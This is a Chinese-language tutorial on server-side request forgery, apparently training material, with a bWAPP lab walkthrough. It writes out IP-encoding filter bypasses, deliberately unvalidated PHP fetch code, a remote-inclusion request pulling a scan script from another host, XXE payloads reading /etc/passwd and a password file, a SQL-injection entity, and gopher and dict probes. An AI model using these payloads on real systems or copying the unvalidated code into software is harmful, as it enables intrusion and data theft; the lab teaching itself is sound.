SSRF 攻擊技術
SSRF(Server-Side Request Forgery:服務器端請求偽造) 是一種由攻擊者構造形成由 服務端發起請求的一個安全漏洞。一般情況下,SSRF 是要目標網站的內部系統。(因為他是 從內部系統訪問的,所有可以通過它攻擊外網無法訪問的內部系統,也就是把目標網站當中 間人)
1.1.1 SSRF形成原因
SSRF 形成的原因大都是由於服務端提供了從其他服務器應用獲取數據的功能,且沒有 對目標地址做過濾與限制。比如從指定 URL 地址獲取網頁文本內容,加載指定地址的圖片, 文檔,等等。
首先,我們要對目標網站的架構了解,腦子了要有一個架構圖。比如 : A 網站,是一 個所有人都可以訪問的外網網站,B 網站是一個他們內部的 OA 網站,我們普通用戶只可以 訪問 a 網站,不能訪問 b 網站。但是我們可以同過 a 網站做中間人,訪問 b 網站,從而達到 攻擊 b 網站需求。
正常用戶訪問網站的流程是:
輸入 A 網站 URL --> 發送請求 --> A 服務器接受請求(沒有過濾),並處理 -->返回用 戶響應
那網站有個請求是 www.oldboyedu,com/xxx.php?image=URL】
那么產生 SSRF 漏洞的環節在哪里呢?安全的網站應接收請求后,檢測請求的合法性
產生的原因:服務器端的驗證並沒有對其請求獲取圖片的參數(image=)做出嚴格的過濾以 及限制,導致 A 網站可以從其他服務器的獲取數據
例如:
www.oldboyedu.com/xxx.php?image=www.luffycity.com/1.jpg
如果我們將 www.luffycity.com/1.jpg 換為與該服務器相連的內網服務器地址會產生什么 效果呢?
如果存在該內網地址就會返回 1xx 2xx 之類的狀態碼,不存在就會其他的狀態碼
終極簡析: SSRF 漏洞就是通過篡改獲取資源的請求發送給服務器,但是服務器並沒有檢測 這個請求是否合法的,然后服務器以他的身份來訪問其他服務器的資源。
1.1.2 SSRF用途
攻擊者利用 ssrf 可以實現的攻擊主要有 5 種::
1.可以對外網、服務器所在內網、本地進行端口掃描,獲取一些服務的 banner 信息;
2.攻擊運行在內網或本地的應用程序(比如溢出);
3.對內網 web 應用進行指紋識別,通過訪問默認文件實現;
4.攻擊內外網的 web 應用,主要是使用 get 參數就可以實現的攻擊(比如 struts2,sqli等);
5.利用 file 協議讀取本地文件等。
1.1.3 SSRF漏洞出沒位置
注:個人覺得所有調外部資源的參數都有可能存在 ssrf 漏洞
1)分享:通過 URL 地址分享網頁內容
2)轉碼服務
3)在線翻譯 www.oldboyedu.com
4)圖片加載與下載:通過 URL 地址加載或下載圖片
5)圖片、文章收藏功能
6)未公開的 api 實現以及其他調用 URL 的功能
7)從 URL 關鍵字中尋找
share
wap
url
link
src
source
target
u
3g
display
sourceURl
imageURL
domain
...
繞過解讀:
1、更改 IP 地址寫法 一些開發者會通過對傳過來的 URL 參數進行正則匹配的方式來過濾掉內網 IP,如采用如下 正則表達式:
^10(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){3}$
^172\.([1][6-9]|[2]\d|3[01])(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$
^192\.168(\.([2][0-4]\d|[2][5][0-5]|[01]?\d?\d)){2}$
對於這種過濾我們可以采用改編 IP 的寫法的方式進行繞過,例如 192.168.0.1 這個 IP 地址 我們可以改寫成:
(1)、8 進制格式:0300.0250.0.1
(2)、16 進制格式:0xC0.0xA8.0.1
(3)、10 進制整數格式:3232235521
(4)、16 進制整數格式:0xC0A80001
還有一種特殊的省略模式,例如 10.0.0.1 這個 IP 可以寫成 10.1
2、利用解析 URL 所出現的問題
在某些情況下,后端程序可能會對訪問的 URL 進行解析,對解析出來的 host 地址進行過濾。 這時候可能會出現對 URL 參數解析不當,導致可以繞過過濾。
http://www.oldboyedu.com@192.168.0.1/
當后端程序通過不正確的正則表達式(比如將 http 之后到 com 為止的字符內容,也就是 www.oldboyedu.com,認為是訪問請求的 host 地址時)對上述 URL 的內容進行解析的時候, 很有可能會認為訪問 URL 的 host 為 www.oldboyedu.com,而實際上這個 URL 所請求的內容 都是 192.168.0.1 上的內容。
1.1.4 SSRF常用的后端實現
終極簡析: SSRF 漏洞就是通過篡改獲取資源的請求發送給服務器,但是服務器並沒有 檢測這個請求是否合法的,然后服務器以他的身份來訪問其他服務器的
ssrf 攻擊可能存在任何語言編寫的應用,我們通過一些 php 實現的代碼來作為樣例分析。代碼的大部分來自於真實的應用源碼。
file_get_contents:
<?php
if (isset($_POST['url'])) {
$content = file_get_contents($_POST['url']);
$filename ='./images/'.rand().';img1.jpg';
file_put_contents($filename, $content);
echo $_POST['url'];
$img = "<img src=\"".$filename."\"/>";
}
echo $img;
?>
這段代碼使用 file_get_contents 函數從用戶指定的 url 獲取圖片,然后把它用一個隨機文 件名保存在硬盤上,並展示給用戶。
fsockopen():
<?php
function GetFile($host,$port,$link) {
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp) {
echo "$errstr (error number $errno) \n";
} else {
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents='';
while (!feof($fp)) {
$contents.= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
?>
這段代碼使用 fsockopen 函數實現獲取用戶制定 url 的數據(文件或者 html)。這個函數會 使用 socket 跟服務器建立 tcp 連接,傳輸原始數據。
curl_exec():
<?php
if (isset($_POST['url'])) {
$link = $_POST['url'];
$curlobj = curl_init();
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($curlobj);
curl_close($curlobj);
$filename = './curled/'.rand().'.txt';
file_put_contents($filename, $result);
echo $result;
}
?>
這是另外一個很常見的實現。使用 curl 獲取數據。
1.1.5 SSRF測試實驗
bWAPP(buggy web Application) 這是一個集成了各種常見漏洞和最新漏洞的開源 Web 應 用程序,集成了超過 100 種漏洞,個人覺得還是非常好用的,特別是在找漏洞利用示例的時 候,往往能夠節省一些時間。
bWAPP(buggy web Application) 的搭建可參考老男孩安全培訓環境建設。
安裝完畢后,使用 bee/bug 進行登錄,登錄的時候的等級選擇為 low,登錄后選擇 SSRF 的 靶場,然后點擊 Hack 進行演練。
bWAPP 中的 SSRF 給出了 3 個小實驗來說明 SSRF 的利用場景:
任務 1:使用遠程文件包含進行端口掃描(內網探測)
任務 2:使用 XXE 獲取敏感文件中的內容(文件讀取)
任務 3:使用 XXE 進行 SmartTV 的拒絕服務漏洞的利用(漏洞利用)
任務 1:使用遠程文件包含進行端口掃描
點擊任務 1 中的 Port scan 可以獲得一份端口掃描的攻擊腳本
http://192.168.163.157/evil/ssrf-1.txt,腳本中具體的內容就不進行講解了,相信大家能夠看 懂腳本的功能和執行流程,僅需要包含腳本,並請求 IP 參數為對應的主機即可,接下來就 是利用 bWAPP 中的遠程文件包含漏洞,執行端口掃描的腳本。
在 Choose your bug 中選擇 Remote & Local File Inclusion (RFI/LFI)security level 還是選擇 low, 然后點擊 Hack。
進入 Remote & Local File Inclusion (RFI/LFI)的實驗后,看到有個選擇語言的功能模塊,直接執 行下,觀察 Get 請求中的參數,發現是典型文件包含問題,language=lang_en.php
GET 的請求: http://192.168.163.157/bWAPP/rlfi.php?language=lang_en.php&action=go

使用如下 PAYLOAD,遠程包含並執行掃描腳本探測內網主機的端口和服務。
POST: http://192.168.163.157/bWAPP/rlfi.php?language=http://xxx.xxx.xxx/evil/ssrf-1.txt&action=go
POST DATA:ip=192.168.163.159
這里 xxx.xxx.xxx (192.168.163.1)是掃描腳本的訪問地址,192.168.163.159 是要掃描的目標主 機地址,且該地址是 xxx.xxx.xxx 主機無法訪問到的,然后方便查看區分使用 post 請求提交 要進行掃描的目標主機 IP,掃描結束后便返回結果。
任務 2:使用 XXE 獲取敏感文件中的內容
先點擊任務 2 中的 Access 得到 XXE 的利用腳本:http://xxx.xxx.xxx/bWAPP/xxe-1.php,然后 訪問 XML External Entity Attacks (XXE)演練環境,使用 burpSuite 抓包,並發送到 repeater 中 進行測試。
測試中涉及的 XXE 知識可以參考 http://mp.weixin.qq.com/s/Yt7s-OoGMilCs-Yvyjl1xA 這篇文章。
使用 http 協議獲取/bWAPP/robots.txt 的內容。
php://filter/read=convert.base64-encode/resource=http://192.168.0.67/1/bwapp/passwords/he roes.xml
使用 php 協議獲取/bWAPP/passwords/heroes.xml 中的經過 base64 編碼的數據。
使用 file 協議獲取 bWAPP 本機的/etc/passwd 的內容。
任務 3:使用 XXE 進行內網 sql 注入)
這個任務對內網站點的 SQL 注入漏洞進行利用。如,192.168.163.150 主機上有注入漏洞那 么可以發送如下 payload 可以使用 SSRF 進行 SQL 漏洞的利用,當然也可以進行 Struts2 等漏 洞的利用。
1.<?xml version=”1.0′′ encoding=”utf-8′′?>
2.<!DOCTYPE root [
3. <!ENTITY bWAPP SYSTEM "http://192.168.163.150/news.php?newsid=-11+union+select+1,user()">
4.]>
5.<reset><login>&bWAPP;</login><secret>blah</secret></reset>
1.1.6 SSRF知識拓展
以上講述的是 SSRF 的一般用法,用 http,file,php 協議來進行內網探測,文件讀取, 漏洞利用等,接下來討論的是 SSRF 的拓展知識。回想上面的利用都是發送 GET 的請求進行 利用的。那么請思考下如果內網站點的漏洞在 POST 請求的參數中呢?
又或者漏洞點在 request header 中的某個字段里呢?應該如何構造 SSRF 請求進行利用?
SSRF 中各個編程語言可以使用的協議如下圖所示:
實驗靶機搭建:
從上面的表格內容可以知道,在php中要使用gopher協議需要curl的支持,當然curl還支持了很多的協議,首先准備好lamp的環境,如果ubuntu上的PHP沒有curl拓展,需要使用以下命令進行安裝 。
sudo apt-get install php5-curl
sudo service apache restart
然后編寫以下測試代碼,用戶可控的輸入點是$_GET['url']到此就完成實驗靶機的搭建了。
1.<?php
2.// 創建一個新cURL資源
3.$ch = curl_init();
4.// 設置URL和相應的選項
5.curl_setopt($ch, CURLOPT_URL, $_GET['url']);
6.curl_setopt($ch, CURLOPT_HEADER, false);
7.// 抓取URL並把它傳遞給瀏覽器
8.curl_exec($ch);
9.//關閉cURL資源,並且釋放系統資源
10.curl_close($ch);
11.?>
- file協議的運用
file協議還是和之前文章講述的一樣,此處就使用以下的圖片進行展示,不再進行講述。
請求 http://192.168.163.150/test.php?url=file:///etc/passwd便可以獲取敏感文件的信息。
- gopher協議的運用
接下來主要介紹下在SSRF漏洞利用中號稱萬金油的gopher協議。
簡要介紹:gopher協議是比http協議更早出現的協議,現在已經不常用了,但是在SSRF漏洞利用中gopher可以說是萬金油,因為可以使用gopher發送各種格式的請求包,這樣變可以解決漏洞點不在GET參數的問題了。
基本協議格式:URL:gopher://
進行如下請求可以發送一個POST請求,且參數cmd的值為balabal,這里構造gopher請求的時候,回車換行符號要進行2次url編碼%250d%250a
http://192.168.163.150/test.php?url=gopher://192.168.163.1:80/_POST /evil.php HTTP/1.1%0d%0aHost: 192.168.163.1%0d%0aUser-Agent: curl/7.43.0%0d%0aAccept: /%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250a%250d%250acmd=balabala
此時可以在192.168.163.1主機中的access.log,找到訪問日志。
當然也可以使用網絡數據包分析工具,抓取TCP流量中HTTP的數據,這里我使用的是科來網絡分析器。
由於gopher可以構造各種HTTP請求包,所以gopher在SSRF漏洞利用中充當萬金油的角色,具體的攻擊方式可以參考如下鏈接:
https://blog.chaitin.cn/gopher-attack-surfaces/
- dict協議應用
dict協議是一個字典服務器協議,通常用於讓客戶端使用過程中能夠訪問更多的字典源,但是在SSRF中如果可以使用dict協議那么就可以輕易的獲取目標服務器端口上運行的服務版本等信息。
如請求http://192.168.163.150/test.php?url=dict://192.168.163.1:3306/info 可以獲取目標主機的3306端口上運行着mysq-l5.5.55版本的應用。
0×04 總結
本篇僅介紹了SSRF的一些基本知識,SSRF有很多很棒的利用案例,可以在wooyun漏洞庫或互聯網上找到,還有很多騷知識可以參考豬豬俠大佬的《SSRF漏洞自動化利用》和Orange Tsai的《A New Era of SSRF – Exploiting URL Parser in Trending Programming Languages!》這兩個議題,期待和師傅的討論和交流。